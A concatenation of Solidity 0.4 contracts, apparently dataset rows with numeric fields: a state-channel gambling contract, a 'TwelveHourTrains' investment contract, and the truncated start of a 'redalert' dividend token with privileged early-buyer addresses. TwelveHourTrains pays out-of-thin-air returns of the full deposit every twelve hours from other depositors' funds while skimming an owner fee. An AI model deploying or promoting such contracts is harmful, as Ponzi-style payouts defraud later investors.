function minHouseStake(uint activeGames) external pure returns(uint);
function maxBalance() external pure returns(int);
function conflictEndFine() external pure returns(int);
function isValidBet(uint8 _gameType, uint _betNum, uint _betValue) external pure returns(bool);
function endGameConflict(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
bytes32 _serverSeed,
bytes32 _userSeed
)
external
view
returns(int);
function serverForceGameEnd(
uint8 gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
function userForceGameEnd(
uint8 _gameType,
uint _betNum,
uint _betValue,
int _balance,
uint _stake,
uint _endInitiatedTime
)
external
view
returns(int);
}
library MathUtil {
function abs(int _val) internal pure returns(uint) {
if (_val < 0) {
return uint(-_val);
} else {
return uint(_val);
}
}
function max(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 >= _val2 ? _val1 : _val2;
}
function min(uint _val1, uint _val2) internal pure returns(uint) {
return _val1 <= _val2 ? _val1 : _val2;
}
}
contract Ownable {
address public owner;
address public pendingOwner;
event LogOwnerShipTransferred(address indexed previousOwner, address indexed newOwner);
event LogOwnerShipTransferInitiated(address indexed previousOwner, address indexed newOwner);
modifier onlyOwner {
require(msg.sender == owner);
_;
}
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
constructor() public {
owner = msg.sender;
pendingOwner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
pendingOwner = _newOwner;
emit LogOwnerShipTransferInitiated(owner, _newOwner);
}
function claimOwnership() public onlyPendingOwner {
owner = pendingOwner;
pendingOwner = address(0);
emit LogOwnerShipTransferred(owner, pendingOwner);
}
}
contract Activatable is Ownable {
bool public activated = false;
event LogActive();
modifier onlyActivated() {
require(activated);
_;
}
modifier onlyNotActivated() {
require(!activated);
_;
}
function activate() public onlyOwner onlyNotActivated {
activated = true;
emit LogActive();
}
}
contract ConflictResolutionManager is Ownable {
ConflictResolutionInterface public conflictRes;
address public newConflictRes = 0;
uint public updateTime = 0;
uint public constant MIN_TIMEOUT = 3 days;
uint public constant MAX_TIMEOUT = 6 days;
event LogUpdatingConflictResolution(address newConflictResolutionAddress);
event LogUpdatedConflictResolution(address newConflictResolutionAddress);
constructor(address _conflictResAddress) public {
conflictRes = ConflictResolutionInterface(_conflictResAddress);
}
function updateConflictResolution(address _newConflictResAddress) public onlyOwner {
newConflictRes = _newConflictResAddress;
updateTime = block.timestamp;
emit LogUpdatingConflictResolution(_newConflictResAddress);
}
function activateConflictResolution() public onlyOwner {
require(newConflictRes != 0);
require(updateTime != 0);
require(updateTime + MIN_TIMEOUT <= block.timestamp && block.timestamp <= updateTime + MAX_TIMEOUT);
conflictRes = ConflictResolutionInterface(newConflictRes);
newConflictRes = 0;
updateTime = 0;
emit LogUpdatedConflictResolution(newConflictRes);
}
}
contract Pausable is Activatable {
using SafeMath for uint;
bool public paused = true;
uint public timePaused = block.timestamp;
modifier onlyNotPaused() {
require(!paused, "paused");
_;
}
modifier onlyPaused() {
require(paused);
_;
}
modifier onlyPausedSince(uint timeSpan) {
require(paused && (timePaused.add(timeSpan) <= block.timestamp));
_;
}
event LogPause();
event LogUnpause();
function pause() public onlyOwner onlyNotPaused {
paused = true;
timePaused = block.timestamp;
emit LogPause();
}
function unpause() public onlyOwner onlyPaused onlyActivated {
paused = false;
timePaused = 0;
emit LogUnpause();
}
}
contract Destroyable is Pausable {
uint public constant TIMEOUT_DESTROY = 20 days;
function destroy() public onlyOwner onlyPausedSince(TIMEOUT_DESTROY) {
selfdestruct(owner);
}
}
contract GameChannelBase is Destroyable, ConflictResolutionManager {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
enum GameStatus {
ENDED,
ACTIVE,
USER_INITIATED_END,
SERVER_INITIATED_END
}
enum ReasonEnded {
REGULAR_ENDED,
SERVER_FORCED_END,
USER_FORCED_END,
CONFLICT_ENDED
}
struct Game {
GameStatus status;
uint128 stake;
uint8 gameType;
uint32 roundId;
uint betNum;
uint betValue;
int balance;
bytes32 userSeed;
bytes32 serverSeed;
uint endInitiatedTime;
}
uint public constant MIN_TRANSFER_TIMESPAN = 1 days;
uint public constant MAX_TRANSFER_TIMSPAN = 6 * 30 days;
bytes32 public constant TYPE_HASH = keccak256(abi.encodePacked(
"uint32 Round Id",
"uint8 Game Type",
"uint16 Number",
"uint Value (Wei)",
"int Current Balance (Wei)",
"bytes32 Server Hash",
"bytes32 Player Hash",
"uint Game Id",
"address Contract Address"
));
uint public activeGames = 0;
uint public gameIdCntr = 1;
address public serverAddress;
address public houseAddress;
uint public houseStake = 0;
int public houseProfit = 0;
uint128 public minStake;
uint128 public maxStake;
uint public profitTransferTimeSpan = 14 days;
uint public lastProfitTransferTimestamp;
mapping (uint => Game) public gameIdGame;
mapping (address => uint) public userGameId;
mapping (address => uint) public pendingReturns;
modifier onlyValidHouseStake(uint _activeGames) {
uint minHouseStake = conflictRes.minHouseStake(_activeGames);
require(houseStake >= minHouseStake, "inv houseStake");
_;
}
modifier onlyValidValue() {
require(minStake <= msg.value && msg.value <= maxStake, "inv stake");
_;
}
modifier onlyServer() {
require(msg.sender == serverAddress);
_;
}
modifier onlyValidTransferTimeSpan(uint transferTimeout) {
require(transferTimeout >= MIN_TRANSFER_TIMESPAN
&& transferTimeout <= MAX_TRANSFER_TIMSPAN);
_;
}
event LogGameCreated(address indexed user, uint indexed gameId, uint128 stake, bytes32 indexed serverEndHash, bytes32 userEndHash);
event LogUserRequestedEnd(address indexed user, uint indexed gameId);
event LogServerRequestedEnd(address indexed user, uint indexed gameId);
event LogGameEnded(address indexed user, uint indexed gameId, uint32 roundId, int balance, ReasonEnded reason);
event LogStakeLimitsModified(uint minStake, uint maxStake);
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
ConflictResolutionManager(_conflictResAddress)
{
require(_minStake > 0 && _minStake <= _maxStake);
serverAddress = _serverAddress;
houseAddress = _houseAddress;
lastProfitTransferTimestamp = block.timestamp;
minStake = _minStake;
maxStake = _maxStake;
}
function setGameIdCntr(uint _gameIdCntr) public onlyOwner onlyNotActivated {
require(gameIdCntr > 0);
gameIdCntr = _gameIdCntr;
}
function withdraw() public {
uint toTransfer = pendingReturns[msg.sender];
require(toTransfer > 0);
pendingReturns[msg.sender] = 0;
msg.sender.transfer(toTransfer);
}
function transferProfitToHouse() public {
require(lastProfitTransferTimestamp.add(profitTransferTimeSpan) <= block.timestamp);
lastProfitTransferTimestamp = block.timestamp;
if (houseProfit <= 0) {
return;
}
uint toTransfer = houseProfit.castToUint();
houseProfit = 0;
houseStake = houseStake.sub(toTransfer);
houseAddress.transfer(toTransfer);
}
function setProfitTransferTimeSpan(uint _profitTransferTimeSpan)
public
onlyOwner
onlyValidTransferTimeSpan(_profitTransferTimeSpan)
{
profitTransferTimeSpan = _profitTransferTimeSpan;
}
function addHouseStake() public payable onlyOwner {
houseStake = houseStake.add(msg.value);
}
function withdrawHouseStake(uint value) public onlyOwner {
uint minHouseStake = conflictRes.minHouseStake(activeGames);
require(value <= houseStake && houseStake.sub(value) >= minHouseStake);
require(houseProfit <= 0 || houseProfit.castToUint() <= houseStake.sub(value));
houseStake = houseStake.sub(value);
owner.transfer(value);
}
function withdrawAll() public onlyOwner onlyPausedSince(3 days) {
houseProfit = 0;
uint toTransfer = houseStake;
houseStake = 0;
owner.transfer(toTransfer);
}
function setHouseAddress(address _houseAddress) public onlyOwner {
houseAddress = _houseAddress;
}
function setStakeRequirements(uint128 _minStake, uint128 _maxStake) public onlyOwner {
require(_minStake > 0 && _minStake <= _maxStake);
minStake = _minStake;
maxStake = _maxStake;
emit LogStakeLimitsModified(minStake, maxStake);
}
function closeGame(
Game storage _game,
uint _gameId,
uint32 _roundId,
address _userAddress,
ReasonEnded _reason,
int _balance
)
internal
{
_game.status = GameStatus.ENDED;
activeGames = activeGames.sub(1);
payOut(_userAddress, _game.stake, _balance);
emit LogGameEnded(_userAddress, _gameId, _roundId, _balance, _reason);
}
function payOut(address _userAddress, uint128 _stake, int _balance) internal {
int stakeInt = _stake;
int houseStakeInt = houseStake.castToInt();
assert(_balance <= conflictRes.maxBalance());
assert((stakeInt.add(_balance)) >= 0);
if (_balance > 0 && houseStakeInt < _balance) {
_balance = houseStakeInt;
}
houseProfit = houseProfit.sub(_balance);
int newHouseStake = houseStakeInt.sub(_balance);
houseStake = newHouseStake.castToUint();
uint valueUser = stakeInt.add(_balance).castToUint();
pendingReturns[_userAddress] += valueUser;
if (pendingReturns[_userAddress] > 0) {
safeSend(_userAddress);
}
}
function safeSend(address _address) internal {
uint valueToSend = pendingReturns[_address];
assert(valueToSend > 0);
pendingReturns[_address] = 0;
if (_address.send(valueToSend) == false) {
pendingReturns[_address] = valueToSend;
}
}
function verifySig(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _sig,
address _address
)
internal
view
{
address contractAddress = this;
require(_contractAddress == contractAddress, "inv contractAddress");
bytes32 roundHash = calcHash(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId
);
verify(
roundHash,
_sig,
_address
);
}
function verify(
bytes32 _hash,
bytes _sig,
address _address
)
internal
pure
{
(bytes32 r, bytes32 s, uint8 v) = signatureSplit(_sig);
address addressRecover = ecrecover(_hash, v, r, s);
require(addressRecover == _address, "inv sig");
}
function calcHash(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId
)
private
view
returns(bytes32)
{
bytes32 betHash = keccak256(abi.encodePacked(
_roundId,
_gameType,
uint16(_num),
_value,
_balance,
_serverHash,
_userHash,
_gameId,
address(this)
));
return keccak256(abi.encodePacked(
TYPE_HASH,
betHash
));
}
function signatureSplit(bytes _signature)
private
pure
returns (bytes32 r, bytes32 s, uint8 v)
{
require(_signature.length == 65, "inv sig");
assembly {
r := mload(add(_signature, 32))
s := mload(add(_signature, 64))
v := and(mload(add(_signature, 65)), 0xff)
}
if (v < 2) {
v = v + 27;
}
}
}
contract GameChannelConflict is GameChannelBase {
using SafeCast for int;
using SafeCast for uint;
using SafeMath for int;
using SafeMath for uint;
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelBase(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
}
function serverEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _userSig,
address _userAddress,
bytes32 _serverSeed,
bytes32 _userSeed
)
public
onlyServer
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
serverEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_serverSeed,
_userSeed,
_gameId,
_userAddress
);
}
function userEndGameConflict(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig,
bytes32 _userSeed
)
public
{
verifySig(
_roundId,
_gameType,
_num,
_value,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
userEndGameConflictImpl(
_roundId,
_gameType,
_num,
_value,
_balance,
_userHash,
_userSeed,
_gameId,
msg.sender
);
}
function userCancelActiveGame(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.USER_INITIATED_END;
emit LogUserRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, userAddress);
} else {
revert();
}
}
function serverCancelActiveGame(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
if (game.status == GameStatus.ACTIVE) {
game.endInitiatedTime = block.timestamp;
game.status = GameStatus.SERVER_INITIATED_END;
emit LogServerRequestedEnd(msg.sender, gameId);
} else if (game.status == GameStatus.USER_INITIATED_END && game.roundId == 0) {
cancelActiveGame(game, gameId, _userAddress);
} else {
revert();
}
}
function serverForceGameEnd(address _userAddress, uint _gameId) public onlyServer {
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.SERVER_INITIATED_END, "inv status");
int newBalance = conflictRes.serverForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, _userAddress, ReasonEnded.SERVER_FORCED_END, newBalance);
}
function userForceGameEnd(uint _gameId) public {
address userAddress = msg.sender;
uint gameId = userGameId[userAddress];
Game storage game = gameIdGame[gameId];
require(gameId == _gameId, "inv gameId");
require(game.status == GameStatus.USER_INITIATED_END, "inv status");
int newBalance = conflictRes.userForceGameEnd(
game.gameType,
game.betNum,
game.betValue,
game.balance,
game.stake,
game.endInitiatedTime
);
closeGame(game, gameId, game.roundId, userAddress, ReasonEnded.USER_FORCED_END, newBalance);
}
function userEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _userHash,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "value too high");
if (game.status == GameStatus.SERVER_INITIATED_END && game.roundId == _roundId) {
game.userSeed = _userSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.SERVER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.USER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.userSeed = _userSeed;
game.serverSeed = bytes32(0);
emit LogUserRequestedEnd(msg.sender, gameId);
} else {
revert("inv state");
}
}
function serverEndGameConflictImpl(
uint32 _roundId,
uint8 _gameType,
uint _num,
uint _value,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
bytes32 _serverSeed,
bytes32 _userSeed,
uint _gameId,
address _userAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(gameId == _gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(keccak256(abi.encodePacked(_serverSeed)) == _serverHash, "inv serverSeed");
require(keccak256(abi.encodePacked(_userSeed)) == _userHash, "inv userSeed");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(conflictRes.isValidBet(_gameType, _num, _value), "inv bet");
require(gameStake.add(_balance).sub(_value.castToInt()) >= 0, "too high value");
if (game.status == GameStatus.USER_INITIATED_END && game.roundId == _roundId) {
game.serverSeed = _serverSeed;
endGameConflict(game, gameId, _userAddress);
} else if (game.status == GameStatus.ACTIVE
|| (game.status == GameStatus.USER_INITIATED_END && game.roundId < _roundId)) {
game.status = GameStatus.SERVER_INITIATED_END;
game.endInitiatedTime = block.timestamp;
game.roundId = _roundId;
game.gameType = _gameType;
game.betNum = _num;
game.betValue = _value;
game.balance = _balance;
game.serverSeed = _serverSeed;
game.userSeed = _userSeed;
emit LogServerRequestedEnd(_userAddress, gameId);
} else {
revert("inv state");
}
}
function cancelActiveGame(Game storage _game, uint _gameId, address _userAddress) private {
int newBalance = -conflictRes.conflictEndFine();
int stake = _game.stake;
if (newBalance < -stake) {
newBalance = -stake;
}
closeGame(_game, _gameId, 0, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
function endGameConflict(Game storage _game, uint _gameId, address _userAddress) private {
int newBalance = conflictRes.endGameConflict(
_game.gameType,
_game.betNum,
_game.betValue,
_game.balance,
_game.stake,
_game.serverSeed,
_game.userSeed
);
closeGame(_game, _gameId, _game.roundId, _userAddress, ReasonEnded.CONFLICT_ENDED, newBalance);
}
}
contract GameChannel is GameChannelConflict {
constructor(
address _serverAddress,
uint128 _minStake,
uint128 _maxStake,
address _conflictResAddress,
address _houseAddress,
uint _chainId
)
public
GameChannelConflict(_serverAddress, _minStake, _maxStake, _conflictResAddress, _houseAddress, _chainId)
{
}
function createGame(
bytes32 _userEndHash,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
public
payable
onlyValidValue
onlyValidHouseStake(activeGames + 1)
onlyNotPaused
{
uint previousGameId = userGameId[msg.sender];
Game storage game = gameIdGame[previousGameId];
require(game.status == GameStatus.ENDED, "prev game not ended");
require(previousGameId == _previousGameId, "inv gamePrevGameId");
require(block.timestamp < _createBefore, "expired");
verifyCreateSig(msg.sender, _previousGameId, _createBefore, _serverEndHash, _serverSig);
uint gameId = gameIdCntr++;
userGameId[msg.sender] = gameId;
Game storage newGame = gameIdGame[gameId];
newGame.stake = uint128(msg.value);
newGame.status = GameStatus.ACTIVE;
activeGames = activeGames.add(1);
emit LogGameCreated(msg.sender, gameId, uint128(msg.value), _serverEndHash, _userEndHash);
}
function serverEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
address _userAddress,
bytes _userSig
)
public
onlyServer
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_userSig,
_userAddress
);
regularEndGame(_userAddress, _roundId, _balance, _gameId, _contractAddress);
}
function userEndGame(
uint32 _roundId,
int _balance,
bytes32 _serverHash,
bytes32 _userHash,
uint _gameId,
address _contractAddress,
bytes _serverSig
)
public
{
verifySig(
_roundId,
0,
0,
0,
_balance,
_serverHash,
_userHash,
_gameId,
_contractAddress,
_serverSig,
serverAddress
);
regularEndGame(msg.sender, _roundId, _balance, _gameId, _contractAddress);
}
function verifyCreateSig(
address _userAddress,
uint _previousGameId,
uint _createBefore,
bytes32 _serverEndHash,
bytes _serverSig
)
private view
{
address contractAddress = this;
bytes32 hash = keccak256(abi.encodePacked(
contractAddress, _userAddress, _previousGameId, _createBefore, _serverEndHash
));
verify(hash, _serverSig, serverAddress);
}
function regularEndGame(
address _userAddress,
uint32 _roundId,
int _balance,
uint _gameId,
address _contractAddress
)
private
{
uint gameId = userGameId[_userAddress];
Game storage game = gameIdGame[gameId];
int maxBalance = conflictRes.maxBalance();
int gameStake = game.stake;
require(_gameId == gameId, "inv gameId");
require(_roundId > 0, "inv roundId");
require(-gameStake <= _balance && _balance <= maxBalance, "inv balance");
require(game.status == GameStatus.ACTIVE, "inv status");
assert(_contractAddress == address(this));
closeGame(game, gameId, _roundId, _userAddress, ReasonEnded.REGULAR_ENDED, _balance);
}
}
library SafeCast {
function castToInt(uint a) internal pure returns(int) {
assert(a < (1 << 255));
return int(a);
}
function castToUint(int a) internal pure returns(uint) {
assert(a >= 0);
return uint(a);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function mul(int256 a, int256 b) internal pure returns (int256) {
if (a == 0) {
return 0;
}
int256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function div(int256 a, int256 b) internal pure returns (int256) {
int256 INT256_MIN = int256((uint256(1) << 255));
assert(a != INT256_MIN || b != - 1);
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function sub(int256 a, int256 b) internal pure returns (int256) {
int256 c = a - b;
assert((b >= 0 && c <= a) || (b < 0 && c > a));
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
function add(int256 a, int256 b) internal pure returns (int256) {
int256 c = a + b;
assert((b >= 0 && c >= a) || (b < 0 && c < a));
return c;
}
} | 0 | 67 |
pragma solidity ^0.4.25;
contract TwelveHourTrains {
using SafeMath for uint256;
mapping(address => uint256) investments;
mapping(address => uint256) joined;
mapping(address => uint256) withdrawals;
mapping(address => uint256) referrer;
uint256 public step = 100;
uint256 public minimum = 10 finney;
uint256 public stakingRequirement = 2 ether;
address public ownerWallet;
address public owner;
event Invest(address investor, uint256 amount);
event Withdraw(address investor, uint256 amount);
event Bounty(address hunter, uint256 amount);
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public {
owner = msg.sender;
ownerWallet = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
ownerWallet = newOwnerWallet;
}
function () public payable {
buy(0x0);
}
function buy(address _referredBy) public payable {
require(msg.value >= minimum);
address _customerAddress = msg.sender;
if(
_referredBy != 0x0000000000000000000000000000000000000000 &&
_referredBy != _customerAddress &&
investments[_referredBy] >= stakingRequirement
){
referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100));
}
if (investments[msg.sender] > 0){
if (withdraw()){
withdrawals[msg.sender] = 0;
}
}
investments[msg.sender] = investments[msg.sender].add(msg.value);
joined[msg.sender] = block.timestamp;
ownerWallet.transfer(msg.value.mul(5).div(100));
emit Invest(msg.sender, msg.value);
}
function getBalance(address _address) view public returns (uint256) {
uint256 minutesCount = now.sub(joined[_address]).div(1 minutes);
uint256 percent = investments[_address].mul(step).div(100);
uint256 different = percent.mul(minutesCount).div(720);
uint256 balance = different.sub(withdrawals[_address]);
return balance;
}
function withdraw() public returns (bool){
require(joined[msg.sender] > 0);
uint256 balance = getBalance(msg.sender);
if (address(this).balance > balance){
if (balance > 0){
withdrawals[msg.sender] = withdrawals[msg.sender].add(balance);
msg.sender.transfer(balance);
emit Withdraw(msg.sender, balance);
}
return true;
} else {
return false;
}
}
function bounty() public {
uint256 refBalance = checkReferral(msg.sender);
if(refBalance >= minimum) {
if (address(this).balance > refBalance) {
referrer[msg.sender] = 0;
msg.sender.transfer(refBalance);
emit Bounty(msg.sender, refBalance);
}
}
}
function checkBalance() public view returns (uint256) {
return getBalance(msg.sender);
}
function checkWithdrawals(address _investor) public view returns (uint256) {
return withdrawals[_investor];
}
function checkInvestments(address _investor) public view returns (uint256) {
return investments[_investor];
}
function checkReferral(address _hunter) public view returns (uint256) {
return referrer[_hunter];
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
} | 0 | 1,618 |
pragma solidity ^0.4.25;
contract AcceptsExchange {
redalert public tokenContract;
function AcceptsExchange(address _tokenContract) public {
tokenContract = redalert(_tokenContract);
}
modifier onlyTokenContract {
require(msg.sender == address(tokenContract));
_;
}
function tokenFallback(address _from, uint256 _value, bytes _data) external returns (bool);
function tokenFallbackExpanded(address _from, uint256 _value, bytes _data, address _sender, address _referrer) external returns (bool);
}
contract redalert {
modifier onlyBagholders() {
require(myTokens() > 0);
_;
}
modifier onlyStronghands() {
require(myDividends(true) > 0 || ownerAccounts[msg.sender] > 0);
_;
}
modifier notContract() {
require (msg.sender == tx.origin);
_;
}
modifier allowPlayer(){
require(boolAllowPlayer);
_;
}
modifier onlyAdministrator(){
address _customerAddress = msg.sender;
require(administrators[_customerAddress]);
_;
}
modifier onlyActive(){
require(boolContractActive);
_;
}
modifier onlyCardActive(){
require(boolCardActive);
_;
}
modifier antiEarlyWhale(uint256 _amountOfEthereum){
address _customerAddress = msg.sender;
if( onlyAmbassadors && ((totalEthereumBalance() - _amountOfEthereum) <= ambassadorQuota_ )){
require(
(ambassadors_[_customerAddress] == true &&
(ambassadorAccumulatedQuota_[_customerAddress] + _amountOfEthereum) <= ambassadorMaxPurchase_) ||
(_customerAddress == dev)
);
ambassadorAccumulatedQuota_[_customerAddress] = SafeMath.add(ambassadorAccumulatedQuota_[_customerAddress], _amountOfEthereum);
_;
} else {
onlyAmbassadors = false;
_;
}
}
event onCardBuy(
address customerAddress,
uint256 incomingEthereum,
uint256 card,
uint256 newPrice,
uint256 halfLifeTime
);
event onInsuranceChange(
address customerAddress,
uint256 card,
uint256 insuranceAmount
);
event onTokenPurchase(
address indexed customerAddress,
uint256 incomingEthereum,
uint256 tokensMinted,
address indexed referredBy
);
event onTokenSell(
address indexed customerAddress,
uint256 tokensBurned,
uint256 ethereumEarned
);
event onReinvestment(
address indexed customerAddress,
uint256 ethereumReinvested,
uint256 tokensMinted
);
event onWithdraw(
address indexed customerAddress,
uint256 ethereumWithdrawn
);
event Transfer(
address indexed from,
address indexed to,
uint256 tokens
);
event Halflife(
address customerAddress,
uint card,
uint price,
uint newBlockTime,
uint insurancePay,
uint cardInsurance
);
string public name = "RedAlert";
string public symbol = "REDS";
uint8 constant public decimals = 18;
uint256 constant internal tokenPriceInitial_ = 0.00000001 ether;
uint256 constant internal tokenPriceIncremental_ = 0.000000001 ether;
uint256 constant internal magnitude = 2**64;
uint256 public stakingRequirement = 100e18;
mapping(address => bool) internal ambassadors_;
uint256 constant internal ambassadorMaxPurchase_ = 3 ether;
uint256 constant internal ambassadorQuota_ = 100 ether;
address dev;
uint public nextAvailableCard;
address add2 = 0x0;
uint public totalCardValue = 0;
uint public totalCardInsurance = 0;
bool public boolAllowPlayer = false;
struct DateTime {
uint16 year;
uint8 month;
uint8 day;
uint8 hour;
uint8 minute;
uint8 second;
uint8 weekday;
}
uint constant DAY_IN_SECONDS = 86400;
uint constant YEAR_IN_SECONDS = 31536000;
uint constant LEAP_YEAR_IN_SECONDS = 31622400;
uint constant HOUR_IN_SECONDS = 3600;
uint constant MINUTE_IN_SECONDS = 60;
uint16 constant ORIGIN_YEAR = 1970;
mapping(address => uint256) internal tokenBalanceLedger_;
mapping(address => uint256) internal referralBalance_;
mapping(address => int256) internal payoutsTo_;
mapping(address => uint256) internal ambassadorAccumulatedQuota_;
uint256 internal tokenSupply_ = 0;
uint256 internal profitPerShare_;
mapping(uint => address) internal cardOwner;
mapping(uint => uint) public cardPrice;
mapping(uint => uint) public basePrice;
mapping(uint => uint) internal cardPreviousPrice;
mapping(address => uint) internal ownerAccounts;
mapping(uint => uint) internal totalCardDivs;
mapping(uint => uint) internal totalCardDivsETH;
mapping(uint => string) internal cardName;
mapping(uint => uint) internal cardInsurance;
uint public cardInsuranceAccount;
uint cardPriceIncrement = 1250;
uint totalDivsProduced;
uint public ownerDivRate = 450;
uint public distDivRate = 400;
uint public devDivRate = 50;
uint public insuranceDivRate = 50;
uint public yieldDivRate = 50;
uint public referralRate = 50;
mapping(uint => uint) internal cardBlockNumber;
uint public halfLifeTime = 5900;
uint public halfLifeRate = 970;
uint public halfLifeReductionRate = 970;
uint public halfLifeClear = 1230;
uint public halfLifeAlert = 100;
bool public allowHalfLife = true;
bool public allowReferral = false;
uint public insurancePayoutRate = 50;
uint8 public dividendFee_ = 150;
uint8 public dividendFeeBuyClear_ = 150;
uint8 public dividendFeeSellClear_ = 200;
uint8 public dividendFeeBuyAlert_ = 150;
uint8 public dividendFeeSellAlert_ = 200;
uint8 public cardInsuranceFeeRate_ = 25;
uint8 public yieldDividendFeeRate_ = 25;
uint public maxCards = 50;
bool public boolContractActive = false;
bool public boolCardActive = false;
mapping(address => bool) public administrators;
bool public onlyAmbassadors = true;
mapping(address => bool) public canAcceptTokens_;
uint public alertTime1 = 0;
uint public alertTime2 = 8;
uint public alertTime3 = 16;
uint public lastHour = 0;
bool public boolAlertStatus = false;
function redalert()
public
{
allowHalfLife = true;
allowReferral = false;
administrators[msg.sender] = true;
dev = msg.sender;
ambassadors_[dev] = true;
ambassadors_[0x96762288ebb2560a19F8eAdAaa2012504F64278B] = true;
ambassadors_[0x5145A296e1bB9d4Cf468d6d97d7B6D15700f39EF] = true;
ambassadors_[0xE74b1ea522B9d558C8e8719c3b1C4A9050b531CA] = true;
ambassadors_[0xb62A0AC2338C227748E3Ce16d137C6282c9870cF] = true;
ambassadors_[0x836e5abac615b371efce0ab399c22a04c1db5ecf] = true;
ambassadors_[0xAe3dC7FA07F9dD030fa56C027E90998eD9Fe9D61] = true;
ambassadors_[0x38602d1446fe063444B04C3CA5eCDe0cbA104240] = true;
ambassadors_[0x3825c8BA07166f34cE9a2cD1e08A68b105c82cB9] = true;
ambassadors_[0xa6662191F558e4C611c8f14b50c784EDA9Ace98d] = true;
ambassadors_[0xC697BE0b5b82284391A878B226e2f9AfC6B94710] = true;
ambassadors_[0x03Ba7aC9fa34E2550dE27B33Cb7eBc8d2618A263] = true;
